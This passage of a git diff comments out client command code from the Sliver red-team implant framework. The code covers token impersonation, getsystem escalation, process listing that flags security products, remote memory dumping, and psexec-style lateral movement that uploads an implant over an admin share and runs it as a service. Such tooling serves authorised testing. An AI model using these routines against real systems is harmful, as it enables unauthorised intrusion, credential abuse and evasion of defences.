WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ + +// import ( +// "context" +// "fmt" + +// "github.com/bishopfox/sliver/client/spin" +// "github.com/bishopfox/sliver/protobuf/clientpb" +// "github.com/bishopfox/sliver/protobuf/rpcpb" +// "github.com/bishopfox/sliver/protobuf/sliverpb" +// "github.com/desertbit/grumble" +// ) + +// func runAs(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.Get() +// if session == nil { +// return +// } +// username := ctx.Flags.String("username") +// process := ctx.Flags.String("process") +// arguments := ctx.Flags.String("args") + +// if username == "" { +// fmt.Printf(Warn + "please specify a username\n") +// return +// } + +// if process == "" { +// fmt.Printf(Warn + "please specify a process path\n") +// return +// } + +// runAsResp, err := rpc.RunAs(context.Background(), &sliverpb.RunAsReq{ +// Request: ActiveSession.Request(ctx), +// Username: username, +// ProcessName: process, +// Args: arguments, +// }) + +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } + +// if runAsResp.GetResponse().GetErr() != "" { +// fmt.Printf(Warn+"Error: %s\n", runAsResp.GetResponse().GetErr()) +// return +// } + +// fmt.Printf(Info+"Successfully ran %s %s on %s\n", process, arguments, session.GetName()) +// } + +// func impersonate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.Get() +// if session == nil { +// return +// } +// username := ctx.Args.String("username") +// impResp, err := rpc.Impersonate(context.Background(), &sliverpb.ImpersonateReq{ +// Request: ActiveSession.Request(ctx), +// Username: username, +// }) + +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } +// if impResp.GetResponse().GetErr() != "" { +// fmt.Printf(Warn+"Error: %s\n", impResp.GetResponse().GetErr()) +// return +// } +// fmt.Printf(Info+"Successfully impersonated %s\n", username) +// } + +// func revToSelf(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.Get() +// if session == nil { +// return +// } +// _, err := rpc.RevToSelf(context.Background(), &sliverpb.RevToSelfReq{ +// Request: ActiveSession.Request(ctx), +// }) + +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } +// fmt.Printf(Info + "Back to self...") +// } + +// func getsystem(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.Get() +// if session == nil { +// return +// } +// process := ctx.Flags.String("process") +// config := getActiveSliverConfig() +// ctrl := make(chan bool) +// go spin.Until("Attempting to create a new sliver session as 'NT AUTHORITY\\SYSTEM'...", ctrl) + +// getsystemResp, err := rpc.GetSystem(context.Background(), &clientpb.GetSystemReq{ +// Request: ActiveSession.Request(ctx), +// Config: config, +// HostingProcess: process, +// }) + +// ctrl <- true +// <-ctrl + +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } +// if getsystemResp.GetResponse().GetErr() != "" { +// fmt.Printf(Warn+"Error: %s\n", getsystemResp.GetResponse().GetErr()) +// return +// } +// fmt.Printf("\n" + Info + "A new SYSTEM session should pop soon...\n") +// } + +// func makeToken(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.Get() +// if session == nil { +// return +// } +// username := ctx.Flags.String("username") +// password := ctx.Flags.String("password") +// domain := ctx.Flags.String("domain") + +// if username == "" || password == "" { +// fmt.Printf(Warn + "You must provide a username and password\n") +// return +// } + +// ctrl := make(chan bool) +// go spin.Until("Creating new logon session ...", ctrl) + +// makeToken, err := rpc.MakeToken(context.Background(), &sliverpb.MakeTokenReq{ +// Request: ActiveSession.Request(ctx), +// Username: username, +// Domain: domain, +// Password: password, +// }) + +// ctrl <- true +// <-ctrl + +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } + +// if makeToken.GetResponse().GetErr() != "" { + +// fmt.Printf(Warn+"Error: %s\n", makeToken.GetResponse().GetErr()) +// return +// } +// fmt.Printf("\n"+Info+"Successfully impersonated %s\\%s. Use `rev2self` to revert to your previous token.", domain, username) +// } diff --git a/client/command/proc.go b/client/command/proc.go index 22cc5b4580..9622cc3b20 100644 --- a/client/command/proc.go +++ b/client/command/proc.go @@ -1,252 +1,252 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "bytes" - "context" - "fmt" - "io/ioutil" - "path" - "strings" - "text/tabwriter" - - // "time" - - "github.com/bishopfox/sliver/client/spin" - "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/protobuf/sliverpb" - - "github.com/desertbit/grumble" -) - -var ( - // Stylizes known processes in the `ps` command - knownProcs = map[string]string{ - "ccSvcHst.exe": red, // SEP - "cb.exe": red, // Carbon Black - "MsMpEng.exe": red, // Windows Defender - "smartscreen.exe": red, // Windows Defender Smart Screen - } -) - -func ps(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() - if session == nil { - return - } - - pidFilter := ctx.Flags.Int("pid") - exeFilter := ctx.Flags.String("exe") - ownerFilter := ctx.Flags.String("owner") - - ps, err := rpc.Ps(context.Background(), &sliverpb.PsReq{ - Request: ActiveSession.Request(ctx), - }) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } - - outputBuf := bytes.NewBufferString("") - table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', tabwriter.DiscardEmptyColumns) - - switch session.GetOS() { - case "windows": - fmt.Fprintf(table, "pid\tppid\towner\texecutable\tsession\n") - fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", - strings.Repeat("=", len("pid")), - strings.Repeat("=", len("ppid")), - strings.Repeat("=", len("owner")), - strings.Repeat("=", len("executable")), - strings.Repeat("=", len("session")), - ) - case "darwin": - fallthrough - case "linux": - fmt.Fprintf(table, "pid\tppid\towner\texecutable\t\n") - fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", - strings.Repeat("=", len("pid")), - strings.Repeat("=", len("ppid")), - strings.Repeat("=", len("owner")), - strings.Repeat("=", len("executable")), - ) - default: - fmt.Fprintf(table, "pid\tppid\towner\texecutable\t\n") - fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", - strings.Repeat("=", len("pid")), - strings.Repeat("=", len("ppid")), - strings.Repeat("=", len("owner")), - strings.Repeat("=", len("executable")), - ) - } - cmdLine := ctx.Flags.Bool("print-cmdline") - lineColors := []string{} - for _, proc := range ps.Processes { - var lineColor = "" - if pidFilter != -1 && proc.Pid == int32(pidFilter) { - lineColor = printProcInfo(table, proc, cmdLine) - } - if exeFilter != "" && strings.HasPrefix(proc.Executable, exeFilter) { - lineColor = printProcInfo(table, proc, cmdLine) - } - if ownerFilter != "" && strings.HasPrefix(proc.Owner, ownerFilter) { - lineColor = printProcInfo(table, proc, cmdLine) - } - if pidFilter == -1 && exeFilter == "" && ownerFilter == "" { - lineColor = printProcInfo(table, proc, cmdLine) - } - - // Should be set to normal/green if we rendered the line - if lineColor != "" { - lineColors = append(lineColors, lineColor) - } - } - table.Flush() - - for index, line := range strings.Split(outputBuf.String(), "\n") { - if len(line) == 0 { - continue - } - // We need to account for the two rows of column headers - if 0 < len(line) && 2 <= index { - lineColor := lineColors[index-2] - fmt.Printf("%s%s%s\n", lineColor, line, normal) - } else { - fmt.Printf("%s\n", line) - } - } - -} - -// printProcInfo - Stylizes the process information -func printProcInfo(table *tabwriter.Writer, proc *commonpb.Process, cmdLine bool) string { - color := normal - if modifyColor, ok := knownProcs[proc.Executable]; ok { - color = modifyColor - } - session := ActiveSession.GetInteractive() - if session != nil && proc.Pid == session.PID { - color = green - } - switch session.GetOS() { - case "windows": - fmt.Fprintf(table, "%d\t%d\t%s\t%s\t%d\t\n", proc.Pid, proc.Ppid, proc.Owner, proc.Executable, proc.SessionID) - case "darwin": - fallthrough - case "linux": - fallthrough - default: - if cmdLine { - var args string - if len(proc.CmdLine) >= 2 { - args = strings.Join(proc.CmdLine, " ") - } else { - args = proc.Executable - } - fmt.Fprintf(table, "%d\t%d\t%s\t%s\t\n", proc.Pid, proc.Ppid, proc.Owner, args) - } else { - fmt.Fprintf(table, "%d\t%d\t%s\t%s\t\n", proc.Pid, proc.Ppid, proc.Owner, proc.Executable) - } - } - return color -} - -func procdump(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() - if session == nil { - return - } - - pid := ctx.Flags.Int("pid") - name := ctx.Flags.String("name") - - if pid == -1 && name != "" { - pid = getPIDByName(ctx, name, rpc) - } - if pid == -1 { - fmt.Printf(Warn + "Invalid process target\n") - return - } - - if ctx.Flags.Int("timeout") < 1 { - fmt.Printf(Warn + "Invalid timeout argument\n") - return - } - - ctrl := make(chan bool) - go spin.Until("Dumping remote process memory ...", ctrl) - dump, err := rpc.ProcessDump(context.Background(), &sliverpb.ProcessDumpReq{ - Request: ActiveSession.Request(ctx), - Pid: int32(pid), - Timeout: int32(ctx.Flags.Int("timeout") - 1), - }) - ctrl <- true - <-ctrl - if err != nil { - fmt.Printf(Warn+"Error %s", err) - return - } - - hostname := session.Hostname - tmpFileName := path.Base(fmt.Sprintf("procdump_%s_%d_*", hostname, pid)) - tmpFile, err := ioutil.TempFile("", tmpFileName) - if err != nil { - fmt.Printf(Warn+"Error creating temporary file: %v\n", err) - return - } - tmpFile.Write(dump.GetData()) - fmt.Printf(Info+"Process dump stored in: %s\n", tmpFile.Name()) -} - -func terminate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() - if session == nil { - return - } - - pid := ctx.Args.Uint("pid") - terminated, err := rpc.Terminate(context.Background(), &sliverpb.TerminateReq{ - Request: ActiveSession.Request(ctx), - Pid: int32(pid), - Force: ctx.Flags.Bool("force"), - }) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - } else { - fmt.Printf(Info+"Process %d has been terminated\n", terminated.Pid) - } - -} - -func getPIDByName(ctx *grumble.Context, name string, rpc rpcpb.SliverRPCClient) int { - ps, err := rpc.Ps(context.Background(), &sliverpb.PsReq{ - Request: ActiveSession.Request(ctx), - }) - if err != nil { - return -1 - } - for _, proc := range ps.Processes { - if proc.Executable == name { - return int(proc.Pid) - } - } - return -1 -} +// /* +// Sliver Implant Framework +// Copyright (C) 2019 Bishop Fox + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ + +// import ( +// "bytes" +// "context" +// "fmt" +// "io/ioutil" +// "path" +// "strings" +// "text/tabwriter" + +// // "time" + +// "github.com/bishopfox/sliver/client/spin" +// "github.com/bishopfox/sliver/protobuf/commonpb" +// "github.com/bishopfox/sliver/protobuf/rpcpb" +// "github.com/bishopfox/sliver/protobuf/sliverpb" + +// "github.com/desertbit/grumble" +// ) + +// var ( +// // Stylizes known processes in the `ps` command +// knownProcs = map[string]string{ +// "ccSvcHst.exe": red, // SEP +// "cb.exe": red, // Carbon Black +// "MsMpEng.exe": red, // Windows Defender +// "smartscreen.exe": red, // Windows Defender Smart Screen +// } +// ) + +// func ps(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.GetInteractive() +// if session == nil { +// return +// } + +// pidFilter := ctx.Flags.Int("pid") +// exeFilter := ctx.Flags.String("exe") +// ownerFilter := ctx.Flags.String("owner") + +// ps, err := rpc.Ps(context.Background(), &sliverpb.PsReq{ +// Request: ActiveSession.Request(ctx), +// }) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// return +// } + +// outputBuf := bytes.NewBufferString("") +// table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', tabwriter.DiscardEmptyColumns) + +// switch session.GetOS() { +// case "windows": +// fmt.Fprintf(table, "pid\tppid\towner\texecutable\tsession\n") +// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", +// strings.Repeat("=", len("pid")), +// strings.Repeat("=", len("ppid")), +// strings.Repeat("=", len("owner")), +// strings.Repeat("=", len("executable")), +// strings.Repeat("=", len("session")), +// ) +// case "darwin": +// fallthrough +// case "linux": +// fmt.Fprintf(table, "pid\tppid\towner\texecutable\t\n") +// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", +// strings.Repeat("=", len("pid")), +// strings.Repeat("=", len("ppid")), +// strings.Repeat("=", len("owner")), +// strings.Repeat("=", len("executable")), +// ) +// default: +// fmt.Fprintf(table, "pid\tppid\towner\texecutable\t\n") +// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", +// strings.Repeat("=", len("pid")), +// strings.Repeat("=", len("ppid")), +// strings.Repeat("=", len("owner")), +// strings.Repeat("=", len("executable")), +// ) +// } +// cmdLine := ctx.Flags.Bool("print-cmdline") +// lineColors := []string{} +// for _, proc := range ps.Processes { +// var lineColor = "" +// if pidFilter != -1 && proc.Pid == int32(pidFilter) { +// lineColor = printProcInfo(table, proc, cmdLine) +// } +// if exeFilter != "" && strings.HasPrefix(proc.Executable, exeFilter) { +// lineColor = printProcInfo(table, proc, cmdLine) +// } +// if ownerFilter != "" && strings.HasPrefix(proc.Owner, ownerFilter) { +// lineColor = printProcInfo(table, proc, cmdLine) +// } +// if pidFilter == -1 && exeFilter == "" && ownerFilter == "" { +// lineColor = printProcInfo(table, proc, cmdLine) +// } + +// // Should be set to normal/green if we rendered the line +// if lineColor != "" { +// lineColors = append(lineColors, lineColor) +// } +// } +// table.Flush() + +// for index, line := range strings.Split(outputBuf.String(), "\n") { +// if len(line) == 0 { +// continue +// } +// // We need to account for the two rows of column headers +// if 0 < len(line) && 2 <= index { +// lineColor := lineColors[index-2] +// fmt.Printf("%s%s%s\n", lineColor, line, normal) +// } else { +// fmt.Printf("%s\n", line) +// } +// } + +// } + +// // printProcInfo - Stylizes the process information +// func printProcInfo(table *tabwriter.Writer, proc *commonpb.Process, cmdLine bool) string { +// color := normal +// if modifyColor, ok := knownProcs[proc.Executable]; ok { +// color = modifyColor +// } +// session := ActiveSession.GetInteractive() +// if session != nil && proc.Pid == session.PID { +// color = green +// } +// switch session.GetOS() { +// case "windows": +// fmt.Fprintf(table, "%d\t%d\t%s\t%s\t%d\t\n", proc.Pid, proc.Ppid, proc.Owner, proc.Executable, proc.SessionID) +// case "darwin": +// fallthrough +// case "linux": +// fallthrough +// default: +// if cmdLine { +// var args string +// if len(proc.CmdLine) >= 2 { +// args = strings.Join(proc.CmdLine, " ") +// } else { +// args = proc.Executable +// } +// fmt.Fprintf(table, "%d\t%d\t%s\t%s\t\n", proc.Pid, proc.Ppid, proc.Owner, args) +// } else { +// fmt.Fprintf(table, "%d\t%d\t%s\t%s\t\n", proc.Pid, proc.Ppid, proc.Owner, proc.Executable) +// } +// } +// return color +// } + +// func procdump(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.GetInteractive() +// if session == nil { +// return +// } + +// pid := ctx.Flags.Int("pid") +// name := ctx.Flags.String("name") + +// if pid == -1 && name != "" { +// pid = getPIDByName(ctx, name, rpc) +// } +// if pid == -1 { +// fmt.Printf(Warn + "Invalid process target\n") +// return +// } + +// if ctx.Flags.Int("timeout") < 1 { +// fmt.Printf(Warn + "Invalid timeout argument\n") +// return +// } + +// ctrl := make(chan bool) +// go spin.Until("Dumping remote process memory ...", ctrl) +// dump, err := rpc.ProcessDump(context.Background(), &sliverpb.ProcessDumpReq{ +// Request: ActiveSession.Request(ctx), +// Pid: int32(pid), +// Timeout: int32(ctx.Flags.Int("timeout") - 1), +// }) +// ctrl <- true +// <-ctrl +// if err != nil { +// fmt.Printf(Warn+"Error %s", err) +// return +// } + +// hostname := session.Hostname +// tmpFileName := path.Base(fmt.Sprintf("procdump_%s_%d_*", hostname, pid)) +// tmpFile, err := ioutil.TempFile("", tmpFileName) +// if err != nil { +// fmt.Printf(Warn+"Error creating temporary file: %v\n", err) +// return +// } +// tmpFile.Write(dump.GetData()) +// fmt.Printf(Info+"Process dump stored in: %s\n", tmpFile.Name()) +// } + +// func terminate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.GetInteractive() +// if session == nil { +// return +// } + +// pid := ctx.Args.Uint("pid") +// terminated, err := rpc.Terminate(context.Background(), &sliverpb.TerminateReq{ +// Request: ActiveSession.Request(ctx), +// Pid: int32(pid), +// Force: ctx.Flags.Bool("force"), +// }) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// } else { +// fmt.Printf(Info+"Process %d has been terminated\n", terminated.Pid) +// } + +// } + +// func getPIDByName(ctx *grumble.Context, name string, rpc rpcpb.SliverRPCClient) int { +// ps, err := rpc.Ps(context.Background(), &sliverpb.PsReq{ +// Request: ActiveSession.Request(ctx), +// }) +// if err != nil { +// return -1 +// } +// for _, proc := range ps.Processes { +// if proc.Executable == name { +// return int(proc.Pid) +// } +// } +// return -1 +// } diff --git a/client/command/psexec.go b/client/command/psexec.go index 7e2521f775..dfa9697ec0 100644 --- a/client/command/psexec.go +++ b/client/command/psexec.go @@ -1,168 +1,168 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2021 Bishop Fox +// /* +// Sliver Implant Framework +// Copyright (C) 2021 Bishop Fox - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ -import ( - "context" - "fmt" - "math/rand" - "strings" - "time" +// import ( +// "context" +// "fmt" +// "math/rand" +// "strings" +// "time" - "github.com/bishopfox/sliver/client/spin" - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/bishopfox/sliver/util/encoders" - "github.com/desertbit/grumble" -) +// "github.com/bishopfox/sliver/client/spin" +// "github.com/bishopfox/sliver/protobuf/clientpb" +// "github.com/bishopfox/sliver/protobuf/commonpb" +// "github.com/bishopfox/sliver/protobuf/rpcpb" +// "github.com/bishopfox/sliver/protobuf/sliverpb" +// "github.com/bishopfox/sliver/util/encoders" +// "github.com/desertbit/grumble" +// ) -func psExec(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.Get() - if session == nil { - fmt.Printf(Warn + "Please select an active session via `use`") - return - } +// func psExec(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.Get() +// if session == nil { +// fmt.Printf(Warn + "Please select an active session via `use`") +// return +// } - hostname := ctx.Args.String("hostname") - if hostname == "" { - fmt.Println(Warn + "you need to provide a target host, see `help psexec` for examples") - return - } - profile := ctx.Flags.String("profile") - serviceName := ctx.Flags.String("service-name") - serviceDesc := ctx.Flags.String("service-description") - binPath := ctx.Flags.String("binpath") - uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$")) +// hostname := ctx.Args.String("hostname") +// if hostname == "" { +// fmt.Println(Warn + "you need to provide a target host, see `help psexec` for examples") +// return +// } +// profile := ctx.Flags.String("profile") +// serviceName := ctx.Flags.String("service-name") +// serviceDesc := ctx.Flags.String("service-description") +// binPath := ctx.Flags.String("binpath") +// uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$")) - if serviceName == "Sliver" || serviceDesc == "Sliver implant" { - fmt.Printf(Warn+"Warning: you're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc) - fmt.Println(Warn + "You might want to change that before going further...") - if !isUserAnAdult() { - return - } - } +// if serviceName == "Sliver" || serviceDesc == "Sliver implant" { +// fmt.Printf(Warn+"Warning: you're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc) +// fmt.Println(Warn + "You might want to change that before going further...") +// if !IsUserAnAdult() { +// return +// } +// } - if profile == "" { - fmt.Println(Warn + "you need to pass a profile name, see `help psexec` for more info") - return - } +// if profile == "" { +// fmt.Println(Warn + "you need to pass a profile name, see `help psexec` for more info") +// return +// } - // generate sliver - generateCtrl := make(chan bool) - go spin.Until(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl) - profiles, err := rpc.ImplantProfiles(context.Background(), &commonpb.Empty{}) - if err != nil { - fmt.Printf(Warn+"Error: %v\n", err) - return - } - generateCtrl <- true - <-generateCtrl - var p *clientpb.ImplantProfile - for _, prof := range profiles.Profiles { - if prof.Name == profile { - p = prof - } - } - if p.GetName() == "" { - fmt.Printf(Warn+"no profile found for name %s\n", profile) - return - } - sliverBinary, err := getSliverBinary(p, rpc) - filename := randomString(10) - filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename) - uploadGzip := new(encoders.Gzip).Encode(sliverBinary) - // upload to remote target - uploadCtrl := make(chan bool) - go spin.Until("Uploading service binary ...", uploadCtrl) - upload, err := rpc.Upload(context.Background(), &sliverpb.UploadReq{ - Encoder: "gzip", - Data: uploadGzip, - Path: filePath, - Request: ActiveSession.Request(ctx), - }) - uploadCtrl <- true - <-uploadCtrl - if err != nil { - fmt.Printf(Warn+"Error: %s\n", err) - return - } - fmt.Printf(Info+"Uploaded service binary to %s\n", upload.GetPath()) - fmt.Println(Info + "Waiting a bit for the file to be analyzed ...") - // Looks like starting the service right away often fails - // because a process is already using the binary. - // I suspect that Defender on my lab is holding access - // while scanning, which often resulted in an error. - // Waiting 5 seconds seem to do the trick here. - time.Sleep(5 * time.Second) - // start service - binaryPath := fmt.Sprintf(`%s\%s.exe`, binPath, filename) - serviceCtrl := make(chan bool) - go spin.Until("Starting service ...", serviceCtrl) - start, err := rpc.StartService(context.Background(), &sliverpb.StartServiceReq{ - BinPath: binaryPath, - Hostname: hostname, - Request: ActiveSession.Request(ctx), - ServiceDescription: serviceDesc, - ServiceName: serviceName, - Arguments: "", - }) - serviceCtrl <- true - <-serviceCtrl - if err != nil { - fmt.Printf(Warn+"Error: %v\n", err) - return - } - if start.Response != nil && start.Response.Err != "" { - fmt.Printf(Warn+"Error: %s", start.Response.Err) - return - } - fmt.Printf(Info+"Successfully started service on %s (%s)\n", hostname, binaryPath) - removeChan := make(chan bool) - go spin.Until("Removing service ...", removeChan) - removed, err := rpc.RemoveService(context.Background(), &sliverpb.RemoveServiceReq{ - ServiceInfo: &sliverpb.ServiceInfoReq{ - Hostname: hostname, - ServiceName: serviceName, - }, - Request: ActiveSession.Request(ctx), - }) - removeChan <- true - <-removeChan - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - if removed.Response != nil && removed.Response.Err != "" { - fmt.Printf(Warn+"Error: %s\n", removed.Response.Err) - return - } - fmt.Printf(Info+"Successfully removed service %s on %s\n", serviceName, hostname) -} +// // generate sliver +// generateCtrl := make(chan bool) +// go spin.Until(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl) +// profiles, err := rpc.ImplantProfiles(context.Background(), &commonpb.Empty{}) +// if err != nil { +// fmt.Printf(Warn+"Error: %v\n", err) +// return +// } +// generateCtrl <- true +// <-generateCtrl +// var p *clientpb.ImplantProfile +// for _, prof := range profiles.Profiles { +// if prof.Name == profile { +// p = prof +// } +// } +// if p.GetName() == "" { +// fmt.Printf(Warn+"no profile found for name %s\n", profile) +// return +// } +// sliverBinary, err := getSliverBinary(p, rpc) +// filename := randomString(10) +// filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename) +// uploadGzip := new(encoders.Gzip).Encode(sliverBinary) +// // upload to remote target +// uploadCtrl := make(chan bool) +// go spin.Until("Uploading service binary ...", uploadCtrl) +// upload, err := rpc.Upload(context.Background(), &sliverpb.UploadReq{ +// Encoder: "gzip", +// Data: uploadGzip, +// Path: filePath, +// Request: ActiveSession.Request(ctx), +// }) +// uploadCtrl <- true +// <-uploadCtrl +// if err != nil { +// fmt.Printf(Warn+"Error: %s\n", err) +// return +// } +// fmt.Printf(Info+"Uploaded service binary to %s\n", upload.GetPath()) +// fmt.Println(Info + "Waiting a bit for the file to be analyzed ...") +// // Looks like starting the service right away often fails +// // because a process is already using the binary. +// // I suspect that Defender on my lab is holding access +// // while scanning, which often resulted in an error. +// // Waiting 5 seconds seem to do the trick here. +// time.Sleep(5 * time.Second) +// // start service +// binaryPath := fmt.Sprintf(`%s\%s.exe`, binPath, filename) +// serviceCtrl := make(chan bool) +// go spin.Until("Starting service ...", serviceCtrl) +// start, err := rpc.StartService(context.Background(), &sliverpb.StartServiceReq{ +// BinPath: binaryPath, +// Hostname: hostname, +// Request: ActiveSession.Request(ctx), +// ServiceDescription: serviceDesc, +// ServiceName: serviceName, +// Arguments: "", +// }) +// serviceCtrl <- true +// <-serviceCtrl +// if err != nil { +// fmt.Printf(Warn+"Error: %v\n", err) +// return +// } +// if start.Response != nil && start.Response.Err != "" { +// fmt.Printf(Warn+"Error: %s", start.Response.Err) +// return +// } +// fmt.Printf(Info+"Successfully started service on %s (%s)\n", hostname, binaryPath) +// removeChan := make(chan bool) +// go spin.Until("Removing service ...", removeChan) +// removed, err := rpc.RemoveService(context.Background(), &sliverpb.RemoveServiceReq{ +// ServiceInfo: &sliverpb.ServiceInfoReq{ +// Hostname: hostname, +// ServiceName: serviceName, +// }, +// Request: ActiveSession.Request(ctx), +// }) +// removeChan <- true +// <-removeChan +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } +// if removed.Response != nil && removed.Response.Err != "" { +// fmt.Printf(Warn+"Error: %s\n", removed.Response.Err) +// return +// } +// fmt.Printf(Info+"Successfully removed service %s on %s\n", serviceName, hostname) +// } -func randomString(length int) string { - var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" - var seededRand *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano())) - b := make([]byte, length) - for i := range b { - b[i] = charset[seededRand.Intn(len(charset))] - } - return string(b) -} +// func randomString(length int) string { +// var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" +// var seededRand *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano())) +// b := make([]byte, length) +// for i := range b { +// b[i] = charset[seededRand.Intn(len(charset))] +// } +// return string(b) +// } diff --git a/client/command/registry.go b/client/command/registry.go index 8909788a84..1e02a975c0 100644 --- a/client/command/registry.go +++ b/client/command/registry.go @@ -1,275 +1,275 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2021 Bishop Fox +// /* +// Sliver Implant Framework +// Copyright (C) 2021 Bishop Fox - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ -import ( - "context" - "encoding/hex" - "fmt" - "io/ioutil" - "strconv" - "strings" +// import ( +// "context" +// "encoding/hex" +// "fmt" +// "io/ioutil" +// "strconv" +// "strings" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/desertbit/grumble" -) +// "github.com/bishopfox/sliver/protobuf/rpcpb" +// "github.com/bishopfox/sliver/protobuf/sliverpb" +// "github.com/desertbit/grumble" +// ) -var validHives = []string{ - "HKCU", - "HKLM", - "HKCC", - "HKPD", - "HKU", - "HKCR", -} +// var validHives = []string{ +// 